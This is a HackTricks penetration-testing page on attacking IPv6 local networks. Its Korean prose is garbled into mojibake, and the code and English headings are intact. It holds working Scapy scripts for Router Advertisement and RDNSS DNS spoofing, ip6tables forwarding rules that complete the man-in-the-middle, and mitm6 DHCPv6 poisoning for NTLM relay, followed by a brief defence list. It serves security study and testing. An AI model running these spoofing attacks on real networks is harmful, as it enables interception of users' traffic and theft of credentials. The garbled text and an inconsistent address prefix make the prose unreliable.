Pentesting IPv6
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
IPv6 ๊ธฐ๋ณธ ์ด๋ก
๋คํธ์ํฌ
IPv6 ์ฃผ์๋ ๋คํธ์ํฌ ์กฐ์ง ๋ฐ ์ฅ์น ์ํธ ์์ฉ์ ํฅ์์ํค๊ธฐ ์ํด ๊ตฌ์กฐํ๋์ด ์์ต๋๋ค. IPv6 ์ฃผ์๋ ๋ค์๊ณผ ๊ฐ์ด ๋๋ฉ๋๋ค:
- ๋คํธ์ํฌ ์ ๋์ฌ: ๋คํธ์ํฌ ์ธ๊ทธ๋จผํธ๋ฅผ ๊ฒฐ์ ํ๋ ์ฒ์ 48๋นํธ.
- ์๋ธ๋ท ID: ๋คํธ์ํฌ ๋ด ํน์ ์๋ธ๋ท์ ์ ์ํ๋ ๋ฐ ์ฌ์ฉ๋๋ ๋ค์ 16๋นํธ.
- ์ธํฐํ์ด์ค ์๋ณ์: ์๋ธ๋ท ๋ด์์ ์ฅ์น๋ฅผ ๊ณ ์ ํ๊ฒ ์๋ณํ๋ ๋ง์ง๋ง 64๋นํธ.
IPv6๋ IPv4์์ ๋ฐ๊ฒฌ๋๋ ARP ํ๋กํ ์ฝ์ ์๋ตํ์ง๋ง, ๋ ๊ฐ์ง ์ฃผ์ ๋ฉ์์ง๋ฅผ ๊ฐ์ง ICMPv6๋ฅผ ๋์ ํฉ๋๋ค:
- ์ด์ ์์ฒญ (NS): ์ฃผ์ ํด๊ฒฐ์ ์ํ ๋ฉํฐ์บ์คํธ ๋ฉ์์ง.
- ์ด์ ๊ด๊ณ (NA): NS์ ๋ํ ์ ๋์บ์คํธ ์๋ต ๋๋ ์๋ฐ์ ์ธ ๋ฐํ.
IPv6๋ ๋ํ ํน๋ณํ ์ฃผ์ ์ ํ์ ํฌํจํฉ๋๋ค:
- ๋ฃจํ๋ฐฑ ์ฃผ์ (
::1): IPv4์127.0.0.1์ ํด๋นํ๋ฉฐ, ํธ์คํธ ๋ด์์์ ๋ด๋ถ ํต์ ์ ์ํด ์ฌ์ฉ๋ฉ๋๋ค. - ๋งํฌ-๋ก์ปฌ ์ฃผ์ (
FE80::/10): ์ธํฐ๋ท ๋ผ์ฐํ ์ด ์๋ ๋ก์ปฌ ๋คํธ์ํฌ ํ๋์ ์ํด ์ฌ์ฉ๋ฉ๋๋ค. ๋์ผํ ๋ก์ปฌ ๋คํธ์ํฌ์ ์ฅ์น๋ค์ ์ด ๋ฒ์๋ฅผ ์ฌ์ฉํ์ฌ ์๋ก๋ฅผ ๋ฐ๊ฒฌํ ์ ์์ต๋๋ค.
๋คํธ์ํฌ ๋ช ๋ น์์์ IPv6 ์ค์ฉ ์ฌ์ฉ
IPv6 ๋คํธ์ํฌ์ ์ํธ ์์ฉํ๊ธฐ ์ํด ๋ค์ํ ๋ช ๋ น์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
- ๋งํฌ-๋ก์ปฌ ์ฃผ์ ํ:
ping6๋ฅผ ์ฌ์ฉํ์ฌ ๋ก์ปฌ ์ฅ์น์ ์กด์ฌ๋ฅผ ํ์ธํฉ๋๋ค. - ์ด์ ๋ฐ๊ฒฌ:
ip neigh๋ฅผ ์ฌ์ฉํ์ฌ ๋งํฌ ๊ณ์ธต์์ ๋ฐ๊ฒฌ๋ ์ฅ์น๋ฅผ ๋ด ๋๋ค. - alive6: ๋์ผํ ๋คํธ์ํฌ์์ ์ฅ์น๋ฅผ ๋ฐ๊ฒฌํ๊ธฐ ์ํ ๋์ฒด ๋๊ตฌ์ ๋๋ค.
์๋๋ ๋ช ๊ฐ์ง ๋ช ๋ น ์์์ ๋๋ค:
ping6 โI eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80
# Alternatively, use alive6 for neighbor discovery
alive6 eth0
IPv6 ์ฃผ์๋ ๋ก์ปฌ ํต์ ์ ์ํด ์ฅ์น์ MAC ์ฃผ์์์ ํ์๋ ์ ์์ต๋๋ค. ๋ค์์ ์๋ ค์ง MAC ์ฃผ์์์ Link-local IPv6 ์ฃผ์๋ฅผ ํ์ํ๋ ๋ฐฉ๋ฒ์ ๋ํ ๊ฐ๋จํ ๊ฐ์ด๋์ ๋คํธ์ํฌ ๋ด์์ IPv6 ์ฃผ์๋ฅผ ๋ฐ๊ฒฌํ๋ ๋ฐฉ๋ฒ ๋ฐ IPv6 ์ฃผ์ ์ ํ์ ๋ํ ๊ฐ๋ตํ ๊ฐ์์ ๋๋ค.
MAC ์ฃผ์์์ Link-local IPv6 ํ์ํ๊ธฐ
์ฃผ์ด์ง MAC ์ฃผ์ **12:34:56:78:9a:bc**๋ฅผ ์ฌ์ฉํ์ฌ Link-local IPv6 ์ฃผ์๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ๊ตฌ์ฑํ ์ ์์ต๋๋ค:
- MAC์ IPv6 ํ์์ผ๋ก ๋ณํ:
1234:5678:9abc fe80::๋ฅผ ์์ ๋ถ์ด๊ณ ์ค๊ฐ์fffe๋ฅผ ์ฝ์ :fe80::1234:56ff:fe78:9abc- ์ผ์ชฝ์์ ์ผ๊ณฑ ๋ฒ์งธ ๋นํธ๋ฅผ ๋ฐ์ ์์ผ
1234๋ฅผ1034๋ก ๋ณ๊ฒฝ:fe80::1034:56ff:fe78:9abc
IPv6 ์ฃผ์ ์ ํ
- Unique Local Address (ULA): ๋ก์ปฌ ํต์ ์ ์ํ ๊ฒ์ผ๋ก, ๊ณต์ฉ ์ธํฐ๋ท ๋ผ์ฐํ
์ ์ํ ๊ฒ์ด ์๋๋๋ค. ์ ๋์ฌ:
FEC00::/7 - Multicast Address: ์ผ๋๋ค ํต์ ์ ์ํ ๊ฒ์
๋๋ค. ๋ฉํฐ์บ์คํธ ๊ทธ๋ฃน์ ๋ชจ๋ ์ธํฐํ์ด์ค์ ์ ๋ฌ๋ฉ๋๋ค. ์ ๋์ฌ:
FF00::/8 - Anycast Address: ์ผ๋๊ฐ์ฅ ๊ฐ๊น์ด ํต์ ์ ์ํ ๊ฒ์
๋๋ค. ๋ผ์ฐํ
ํ๋กํ ์ฝ์ ๋ฐ๋ผ ๊ฐ์ฅ ๊ฐ๊น์ด ์ธํฐํ์ด์ค๋ก ์ ์ก๋ฉ๋๋ค.
2000::/3๊ธ๋ก๋ฒ ์ ๋์บ์คํธ ๋ฒ์์ ์ผ๋ถ์ ๋๋ค.
์ฃผ์ ์ ๋์ฌ
- fe80::/10: Link-Local ์ฃผ์ (169.254.x.x์ ์ ์ฌ)
- fc00::/7: Unique Local-Unicast (10.x.x.x, 172.16.x.x, 192.168.x.x์ ๊ฐ์ ์ฌ์ค IPv4 ๋ฒ์์ ์ ์ฌ)
- 2000::/3: ๊ธ๋ก๋ฒ ์ ๋์บ์คํธ
- ff02::1: ๋ชจ๋ ๋ ธ๋์ ๋ํ ๋ฉํฐ์บ์คํธ
- ff02::2: ๋ผ์ฐํฐ ๋ ธ๋์ ๋ํ ๋ฉํฐ์บ์คํธ
๋คํธ์ํฌ ๋ด์์ IPv6 ์ฃผ์ ๋ฐ๊ฒฌํ๊ธฐ
๋ฐฉ๋ฒ 1: Link-local ์ฃผ์ ์ฌ์ฉ
- ๋คํธ์ํฌ ๋ด ์ฅ์น์ MAC ์ฃผ์๋ฅผ ์ป์ต๋๋ค.
- MAC ์ฃผ์์์ Link-local IPv6 ์ฃผ์๋ฅผ ํ์ํฉ๋๋ค.
๋ฐฉ๋ฒ 2: ๋ฉํฐ์บ์คํธ ์ฌ์ฉ
- ๋ก์ปฌ ๋คํธ์ํฌ์์ IPv6 ์ฃผ์๋ฅผ ๋ฐ๊ฒฌํ๊ธฐ ์ํด ๋ฉํฐ์บ์คํธ ์ฃผ์
ff02::1์ ํ์ ๋ณด๋ ๋๋ค.
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table
IPv6 Man-in-the-Middle (MitM) Attacks
IPv6 ๋คํธ์ํฌ์์ MitM ๊ณต๊ฒฉ์ ์คํํ๊ธฐ ์ํ ์ฌ๋ฌ ๊ธฐ์ ์ด ์กด์ฌํฉ๋๋ค. ์๋ฅผ ๋ค์ด:
- ICMPv6 ์ด์ ๋๋ ๋ผ์ฐํฐ ๊ด๊ณ ์คํธํ.
- ICMPv6 ๋ฆฌ๋๋ ์ ๋๋ โํจํท์ด ๋๋ฌด ํฝ๋๋คโ ๋ฉ์์ง๋ฅผ ์ฌ์ฉํ์ฌ ๋ผ์ฐํ ์กฐ์.
- ๋ชจ๋ฐ์ผ IPv6 ๊ณต๊ฒฉ (์ผ๋ฐ์ ์ผ๋ก IPSec ๋นํ์ฑํ ํ์).
- ์ ์ฑ DHCPv6 ์๋ฒ ์ค์ .
Identifying IPv6 Addresses in the eild
Exploring Subdomains
IPv6 ์ฃผ์์ ์ ์ฌ์ ์ผ๋ก ์ฐ๊ฒฐ๋ ์๋ธ ๋๋ฉ์ธ์ ์ฐพ๋ ๋ฐฉ๋ฒ์ ๊ฒ์ ์์ง์ ํ์ฉํ๋ ๊ฒ์
๋๋ค. ์๋ฅผ ๋ค์ด, ipv6.*์ ๊ฐ์ ์ฟผ๋ฆฌ ํจํด์ ์ฌ์ฉํ๋ ๊ฒ์ด ํจ๊ณผ์ ์ผ ์ ์์ต๋๋ค. ๊ตฌ์ฒด์ ์ผ๋ก, ๋ค์ ๊ฒ์ ๋ช
๋ น์ Google์์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
site:ipv6./
DNS ์ฟผ๋ฆฌ ํ์ฉ
IPv6 ์ฃผ์๋ฅผ ์๋ณํ๊ธฐ ์ํด ํน์ DNS ๋ ์ฝ๋ ์ ํ์ ์ฟผ๋ฆฌํ ์ ์์ต๋๋ค:
- AXFR: ์ ์ฒด ์กด ์ ์ก์ ์์ฒญํ์ฌ ๋ค์ํ DNS ๋ ์ฝ๋๋ฅผ ๋ฐ๊ฒฌํ ์ ์์ต๋๋ค.
- AAAA: IPv6 ์ฃผ์๋ฅผ ์ง์ ์ฐพ์ต๋๋ค.
- ANY: ์ฌ์ฉ ๊ฐ๋ฅํ ๋ชจ๋ DNS ๋ ์ฝ๋๋ฅผ ๋ฐํํ๋ ๊ด๋ฒ์ํ ์ฟผ๋ฆฌ์ ๋๋ค.
Ping6๋ก ํ๋ก๋น
์กฐ์ง๊ณผ ๊ด๋ จ๋ IPv6 ์ฃผ์๋ฅผ ํ์ธํ ํ, ping6 ์ ํธ๋ฆฌํฐ๋ฅผ ์ฌ์ฉํ์ฌ ํ๋ก๋นํ ์ ์์ต๋๋ค. ์ด ๋๊ตฌ๋ ์๋ณ๋ IPv6 ์ฃผ์์ ์๋ต์ฑ์ ํ๊ฐํ๋ ๋ฐ ๋์์ ์ฃผ๋ฉฐ, ์ธ์ ํ IPv6 ์ฅ์น๋ฅผ ๋ฐ๊ฒฌํ๋ ๋ฐ๋ ๋์์ด ๋ ์ ์์ต๋๋ค.
IPv6 ๋ก์ปฌ ๋คํธ์ํฌ ๊ณต๊ฒฉ ๊ธฐ์
๋ค์ ์น์ ์์๋ ๊ฐ์ /64 ์ธ๊ทธ๋จผํธ ๋ด์์ ๊ธ๋ก๋ฒ ์ ๋์ฌ๋ฅผ ์์ง ๋ชปํ ์ฑ ์คํํ ์ ์๋ ์ค์ฉ์ ์ธ ๋ ์ด์ด-2 IPv6 ๊ณต๊ฒฉ์ ๋ค๋ฃน๋๋ค. ์๋์ ํ์๋ ๋ชจ๋ ํจํท์ ๋งํฌ-๋ก์ปฌ์ด๋ฉฐ, ๋ก์ปฌ ์ค์์น๋ฅผ ํตํด์๋ง ์ด๋ํ๋ฏ๋ก ๋๋ถ๋ถ์ ํ๊ฒฝ์์ ๋งค์ฐ ์๋ฐํฉ๋๋ค.
์์ ์ ์ธ ์คํ์ค์ ์ํ ์์คํ ์กฐ์
IPv6 ํธ๋ํฝ์ ๋ค๋ฃจ๊ธฐ ์ ์, ์์ ์ ํ ์คํธ๋ก ์ธํด ์ค์ผ๋๋ ๊ฒ์ ํผํ๊ณ ๋๋ ํจํท ์ฃผ์ /์ค๋ํ ์ค ์ต์์ ์ฑ๋ฅ์ ์ป๊ธฐ ์ํด ์์คํ ์ ๊ฐํํ๋ ๊ฒ์ด ์ข์ต๋๋ค.
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on
# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
Passive NDP & DHCPv6 Sniffing
๋ชจ๋ IPv6 ํธ์คํธ๊ฐ ์๋์ผ๋ก ์ฌ๋ฌ ๋ฉํฐ์บ์คํธ ๊ทธ๋ฃน์ ๊ฐ์
ํ๊ณ (ff02::1, ff02::2, โฆ) SLAAC/NDP๋ฅผ ์ํด ICMPv6๋ฅผ ์ฌ์ฉํ๊ธฐ ๋๋ฌธ์, ๋จ์ผ ํจํท์ ์ ์กํ์ง ์๊ณ ๋ ์ ์ฒด ์ธ๊ทธ๋จผํธ๋ฅผ ๋งคํํ ์ ์์ต๋๋ค. ๋ค์์ Python/Scapy ์๋ผ์ด๋๋ ๊ฐ์ฅ ํฅ๋ฏธ๋ก์ด L2 ๋ฉ์์ง๋ฅผ ์์ ํ๊ณ ๋๊ฐ ๋๊ตฌ์ธ์ง์ ๋ํ ์์ ์๋ ํ์์คํฌํ ๋ก๊ทธ๋ฅผ ์ถ๋ ฅํฉ๋๋ค:
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse
init(autoreset=True)
# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit: 'Solicit',
DHCP6_Advertise: 'Advertise',
DHCP6_Request: 'Request',
DHCP6_Reply: 'Reply',
DHCP6_Renew: 'Renew',
DHCP6_Rebind: 'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
}
def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 โ '+name; color = Fore.YELLOW; break
else:
return # not a DHCPv6 message we track
else:
return # not interesting
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f" MAC {eth_src} -> {eth_dst}")
print(f" IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)
if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
๊ฒฐ๊ณผ: ๋ช ์ด ๋ง์ ์ ์ฒด ๋งํฌ ๋ก์ปฌ ํ ํด๋ก์ง (MAC โ IPv6)๋ฅผ ์์ฑํ๋ฉฐ, ๋ฅ๋ ์ค์บ์ ์์กดํ๋ IPS/IDS ์์คํ ์ ํธ๋ฆฌ๊ฑฐํ์ง ์์ต๋๋ค.
๋ผ์ฐํฐ ๊ด๊ณ (RA) ์คํธํ
IPv6 ํธ์คํธ๋ ๊ธฐ๋ณธ ๊ฒ์ดํธ์จ์ด ๊ฒ์์ ์ํด ICMPv6 ๋ผ์ฐํฐ ๊ด๊ณ ์ ์์กดํฉ๋๋ค. ์ ํ ๋ผ์ฐํฐ๋ณด๋ค ๋ ์์ฃผ ์์กฐ๋ RA๋ฅผ ์ฃผ์ ํ๋ฉด, ์ฅ์น๋ค์ ์กฐ์ฉํ ๋น์ ์ ๊ฒ์ดํธ์จ์ด๋ก ์ ํํฉ๋๋ค.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()
lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
send(ra,iface=args.interface,loop=1,inter=args.interval)
์ค์ ๋ก ํธ๋ํฝ์ ์ ๋ฌํ๋ ค๋ฉด ๊ฒฝ์ฃผ์์ ์ด๊ธด ํ:
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
๋ผ์ฐํฐ ๊ด๊ณ ํ๋๊ทธ (M/O) ๋ฐ ๊ธฐ๋ณธ ๋ผ์ฐํฐ ์ ํธ๋ (Prf)
| ํ๋๊ทธ | ์๋ฏธ | ํด๋ผ์ด์ธํธ ํ๋์ ๋ฏธ์น๋ ์ํฅ |
|---|---|---|
| M (๊ด๋ฆฌํ ์ฃผ์ ๊ตฌ์ฑ) | 1๋ก ์ค์ ๋๋ฉด ํธ์คํธ๋ DHCPv6๋ฅผ ์ฌ์ฉํ์ฌ IPv6 ์ฃผ์๋ฅผ ์ป์ด์ผ ํฉ๋๋ค. | ์ ์ฒด ์ฃผ์๋ DHCPv6์์ ๋์ค๋ฏ๋ก mitm6 ์คํ์ผ์ ์ค๋ ์ ์ ํฉํฉ๋๋ค. |
| O (๊ธฐํ ๊ตฌ์ฑ) | 1๋ก ์ค์ ๋๋ฉด ํธ์คํธ๋ DHCPv6๋ฅผ ์ฌ์ฉํ์ฌ ๊ธฐํ ์ ๋ณด(DNS, NTP ๋ฑ)๋ฅผ ์ป์ด์ผ ํฉ๋๋ค. | ์ฃผ์๋ ์ฌ์ ํ SLAAC๋ฅผ ํตํด ์ ๊ณต๋์ง๋ง DNS๋ DHCPv6๋ก ํ์ทจ๋ ์ ์์ต๋๋ค. |
| M=0 / O=0 | ์์ SLAAC ๋คํธ์ํฌ. | RA / RDNSS ํธ๋ฆญ๋ง ๊ฐ๋ฅํ๋ฉฐ, ํด๋ผ์ด์ธํธ๋ DHCPv6๋ฅผ ์ ์กํ์ง ์์ต๋๋ค. |
| M=1 / O=1 | ํผํฉ ํ๊ฒฝ. | DHCPv6์ SLAAC๊ฐ ๋ชจ๋ ์ฌ์ฉ๋๋ฉฐ, ์คํธํ์ ์ํ ํ๋ฉด์ด ๊ฐ์ฅ ํฝ๋๋ค. |
ํํ ์คํธ ์ค์ ํฉ๋ฒ์ ์ธ RA๋ฅผ ํ ๋ฒ ๊ฒ์ฌํ๊ณ ์ด๋ค ๋ฒกํฐ๊ฐ ์คํ ๊ฐ๋ฅํ์ง ๊ฒฐ์ ํ ์ ์์ต๋๋ค:
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
๋คํ์์ flags [M,O] ํ๋๋ฅผ ์ฐพ์ผ์ธ์ โ ์ถ์ธกํ ํ์ ์์ต๋๋ค.
Prf (๋ผ์ฐํฐ ์ ํธ๋) ํ๋๋ RA ํค๋ ๋ด์์ ๋ค์์ ๊ฒ์ดํธ์จ์ด๊ฐ ์กด์ฌํ ๋ ๋น์ ์ ์ ์ฑ ๋ผ์ฐํฐ๊ฐ ์ผ๋ง๋ ๋งค๋ ฅ์ ์ผ๋ก ๋ณด์ด๋์ง๋ฅผ ์ ์ดํฉ๋๋ค:
| Prf ๊ฐ | ์ด์ง์ | ์๋ฏธ |
|---|---|---|
| ๋์ | 10 | ํด๋ผ์ด์ธํธ๋ ์ด ๋ผ์ฐํฐ๋ฅผ ๋ชจ๋ ์ค๊ฐ/๋ฎ์ ๋ผ์ฐํฐ๋ณด๋ค ์ ํธํฉ๋๋ค |
| ์ค๊ฐ (๊ธฐ๋ณธ๊ฐ) | 01 | ๊ฑฐ์ ๋ชจ๋ ํฉ๋ฒ์ ์ธ ์ฅ์น์์ ์ฌ์ฉ๋ฉ๋๋ค |
| ๋ฎ์ | 00 | ๋ ๋์ ๋ผ์ฐํฐ๊ฐ ์กด์ฌํ์ง ์์ ๋๋ง ์ ํ๋ฉ๋๋ค |
Scapy๋ก ํจํท์ ์์ฑํ ๋ ์์ ๊ฐ์ด prf ๋งค๊ฐ๋ณ์๋ฅผ ํตํด ์ค์ ํ ์ ์์ต๋๋ค (prf=0x1 โ ๋์). ๋์ Prf, ์งง์ ๊ฐ๊ฒฉ, ๊ทธ๋ฆฌ๊ณ 0์ด ์๋ ์๋ช
์ ๊ฒฐํฉํ๋ฉด ๋น์ ์ ์
์ฑ ๊ฒ์ดํธ์จ์ด๊ฐ ๋๋ผ์ธ ์ ๋๋ก ์์ ์ ์
๋๋ค.
RDNSS (DNS) ์คํธํ์ ํตํ RA
RFC 8106์ RA ๋ด์ ์ฌ๊ท DNS ์๋ฒ (RDNSS) ์ต์ ์ ์ถ๊ฐํ๋ ๊ฒ์ ํ์ฉํฉ๋๋ค. ํ๋ ์ด์ ์ฒด์ (Win 10 โฅ1709, Win 11, macOS Big Sur, Linux systemd-resolved ๋ฑ)๋ ์ด๋ฅผ ์๋์ผ๋ก ์ ๋ขฐํฉ๋๋ค:
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval)
ํด๋ผ์ด์ธํธ๋ ์ฃผ์ด์ง ์๋ช
๋์ DNS๋ฅผ ์์ ์ ๋ฆฌ์กธ๋ฒ ๋ชฉ๋ก์ ์ ํ ์ถ๊ฐํ์ฌ ๊ฐ์ด ๋ง๋ฃ๋๊ฑฐ๋ lifetime=0 ๋ฆฌ๋ฒํธ๋ฅผ ์ ์กํ ๋๊น์ง ์ ์ฒด DNS ํ์ด์ฌํน์ ํ์ฉํฉ๋๋ค.
DHCPv6 DNS ์คํธํ (mitm6)
SLAAC ๋์ , Windows ๋คํธ์ํฌ๋ ์ข
์ข
DNS๋ฅผ ์ํด ๋ฌด์ํ DHCPv6์ ์์กดํฉ๋๋ค. mitm6๋ Solicit ๋ฉ์์ง์ ์๋์ผ๋ก ์๋ตํ์ฌ Advertise โ Reply ํ๋ฆ์ ํตํด ๋น์ ์ ๋งํฌ-๋ก์ปฌ ์ฃผ์๋ฅผ 300์ด ๋์ DNS๋ก ํ ๋นํฉ๋๋ค. ์ด๋ ๋ค์์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค:
- NTLM ๋ฆด๋ ์ด ๊ณต๊ฒฉ (WPAD + DNS ํ์ด์ฌํน)
- ๋ผ์ฐํฐ๋ฅผ ๊ฑด๋๋ฆฌ์ง ์๊ณ ๋ด๋ถ ์ด๋ฆ ํด์๋ ๊ฐ๋ก์ฑ๊ธฐ
์ผ๋ฐ์ ์ธ ์ฌ์ฉ:
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
๋ฐฉ์ด
- ๊ด๋ฆฌํ ์ค์์น์์ RA Guard / DHCPv6 Guard / ND Inspection.
- ํฉ๋ฒ์ ์ธ ๋ผ์ฐํฐ์ MAC๋ง RAs๋ฅผ ์ ์กํ ์ ์๋๋ก ํ์ฉํ๋ ํฌํธ ACL.
- ๋ถ์์ ํ ๊ณ ์ RAs ๋๋ ๊ฐ์์ค๋ฌ์ด RDNSS ๋ณ๊ฒฝ ๋ชจ๋ํฐ๋ง.
- ์๋ํฌ์ธํธ์์ IPv6๋ฅผ ๋นํ์ฑํํ๋ ๊ฒ์ ํ๋ ์๋น์ค์ ์์ฃผ ๋ฌธ์ ๋ฅผ ์ผ์ผํค๊ณ ๋ธ๋ผ์ธ๋ ์คํ์ ์จ๊ธฐ๋ ์์ ํด๊ฒฐ์ฑ ์ ๋๋ค โ ๋์ L2 ํํฐ๋ง์ ์ ํธํ์ญ์์ค.
๊ฒ์คํธ/๊ณต์ฉ SSID์์์ NDP ๋ผ์ฐํฐ ๋ฐ๊ฒฌ ๋ฐ ๊ด๋ฆฌ ์๋น์ค ๋ ธ์ถ
๋ง์ ์๋น์ ๋ผ์ฐํฐ๋ ๋ชจ๋ ์ธํฐํ์ด์ค์์ ๊ด๋ฆฌ ๋ฐ๋ชฌ(HTTP(S), SSH/Telnet, TR-069 ๋ฑ)์ ๋ ธ์ถํฉ๋๋ค. ์ผ๋ถ ๋ฐฐํฌ์์๋ โ๊ฒ์คํธ/๊ณต์ฉโ SSID๊ฐ WAN/์ฝ์ด์ ๋ธ๋ฆฌ์ง๋์ด ์์ผ๋ฉฐ IPv6 ์ ์ฉ์ ๋๋ค. ๋ผ์ฐํฐ์ IPv6๊ฐ ๋งค ๋ถํ ๋ง๋ค ๋ณ๊ฒฝ๋๋๋ผ๋, NDP/ICMPv6๋ฅผ ์ฌ์ฉํ์ฌ ์ด๋ฅผ ์ ๋ขฐ์ฑ ์๊ฒ ํ์ตํ๊ณ ๊ฒ์คํธ SSID์์ ๊ด๋ฆฌ ํ๋ฉด์ ์ง์ ์ฐ๊ฒฐํ ์ ์์ต๋๋ค.
๊ฒ์คํธ/๊ณต์ฉ SSID์ ์ฐ๊ฒฐ๋ ํด๋ผ์ด์ธํธ์ ์ผ๋ฐ์ ์ธ ์์ ํ๋ฆ:
- ๋ชจ๋ ๋ผ์ฐํฐ ๋ฉํฐ์บ์คํธ
ff02::2์ ICMPv6 ๋ผ์ฐํฐ ์์ฒญ์ ํตํด ๋ผ์ฐํฐ๋ฅผ ๋ฐ๊ฒฌํ๊ณ ๋ผ์ฐํฐ ๊ด๊ณ (RA)๋ฅผ ์บก์ฒํฉ๋๋ค:
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY
RA๋ ๋ผ์ฐํฐ์ ๋งํฌ ๋ก์ปฌ ๋ฐ ์ข
์ข
๊ธ๋ก๋ฒ ์ฃผ์/ํ๋ฆฌํฝ์ค๋ฅผ ๋๋ฌ๋
๋๋ค. ๋งํฌ ๋ก์ปฌ๋ง ์๊ณ ์๋ค๋ฉด, ์ฐ๊ฒฐ ์ ์กด ์ธ๋ฑ์ค๋ฅผ ์ง์ ํด์ผ ํ๋ค๋ ์ ์ ๊ธฐ์ตํ์ธ์. ์: ssh -6 admin@[fe80::1%wlan0].
๋์: ์ฌ์ฉ ๊ฐ๋ฅํ ๊ฒฝ์ฐ ndisc6 ์ค์ํธ๋ฅผ ์ฌ์ฉํ์ธ์:
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
